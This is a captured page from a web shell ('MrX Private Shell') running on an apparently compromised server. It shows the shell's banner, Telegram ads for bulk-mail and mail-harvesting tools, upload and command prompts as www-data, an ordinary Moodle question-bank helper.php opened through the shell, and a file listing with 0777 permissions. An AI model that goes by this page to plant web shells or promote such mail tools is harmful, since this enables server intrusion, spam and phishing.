__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace qbank_deletequestion;

/**
 * Class helper of qbank_deletequestion.
 *
 * @package qbank_deletequestion
 * @copyright 2023 The Open University
 * @since Moodle 4.2
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class helper {

    /**
     * Get the confirmation message of delete question.
     *
     * @param array $questionids List of id questions.
     * @param bool $deleteallversions Delete all question version or not.
     * @return array List confirmation message.
     */
    public static function get_delete_confirmation_message(array $questionids, bool $deleteallversions): array {
        global $DB;
        $questionnames = '';
        $inuse = false;
        $questionversions = [];
        $countselectedquestion = count($questionids);

        $versionsofeachquestionbankentry = $deleteallversions
            ? \question_bank::get_all_versions_of_questions($questionids)
            : \question_bank::get_version_of_questions($questionids);

        foreach ($versionsofeachquestionbankentry as $entryid => $versions) {
            // Re-order to the oldest first.
            $versionsofeachquestionbankentry[$entryid] = array_reverse($versions, true);
            // Flip the array to list question by question id. [ qid => version ].
            $questionversions += array_flip($versions);
        }
        // Flatten an array.
        $questionids = array_merge(...$versionsofeachquestionbankentry);

        // Get the names of all the questions.
        $questions = $DB->get_records_list('question', 'id', $questionids, '', 'id, name');

        // Build the message.
        foreach ($questionids as $questionid) {
            if (questions_in_use([$questionid])) {
                $questionnames .= '* ';
                $inuse = true;
            }
            $questionname = format_string($questions[$questionid]->name);

            $a = new \stdClass();
            $a->name = $questionname;
            $a->version = $questionversions[$questionid];
            $questionnames .= get_string('questionnameandquestionversion', 'question', $a) . '<br />';
        }

        // Add the in-use message if required.
        if ($inuse) {
            $questionnames .= '<br />'.get_string('questionsinuse', 'question');
        }

        // Add in the right tile and message text.
        $confirmtitle = [
            'confirmtitle' => $countselectedquestion > 1 ? get_string('deleteversiontitle_plural',
                'question') : get_string('deleteversiontitle', 'question'),
        ];
        $message = get_string('deleteselectedquestioncheck', 'question', $questionnames);
        if ($deleteallversions) {
            $confirmtitle = [
                'confirmtitle' => get_string('deletequestiontitle', 'question'),
            ];
            $message = get_string('deletequestioncheck', 'question', $questionnames);
            if ($countselectedquestion > 1) {
                $confirmtitle = [
                    'confirmtitle' => get_string('deletequestiontitle_plural', 'question'),
                ];
                $message = get_string('deletequestionscheck', 'question', $questionnames);
            }
        }

        return [$confirmtitle, $message];
    }

    /**
     * Delete questions has (single/multiple) version.
     *
     * @param array $questionids List of questionid.
     * @param bool $deleteallversions Delete all question version or not.
     */
    public static function delete_questions(array $questionids, bool $deleteallversions): void {
        if ($deleteallversions) {
            // Get all the question id from multidimensional array.
            $listofquestions = \question_bank::get_all_versions_of_questions($questionids);
            // Flatten an array.
            $questionids = array_merge(...$listofquestions);
        }
        foreach ($questionids as $questionid) {
            $questionid = (int) $questionid;
            question_require_capability_on($questionid, 'edit');
            question_delete_question($questionid);
        }
    }
}

Filemanager

Name Type Size Permission Actions
privacy Folder 0777
bulk_delete_action.php File 1.97 KB 0777
delete_action.php File 3.59 KB 0777
helper.php File 4.66 KB 0777
hidden_condition.php File 2.17 KB 0777
plugin_feature.php File 1.85 KB 0777
Filemanager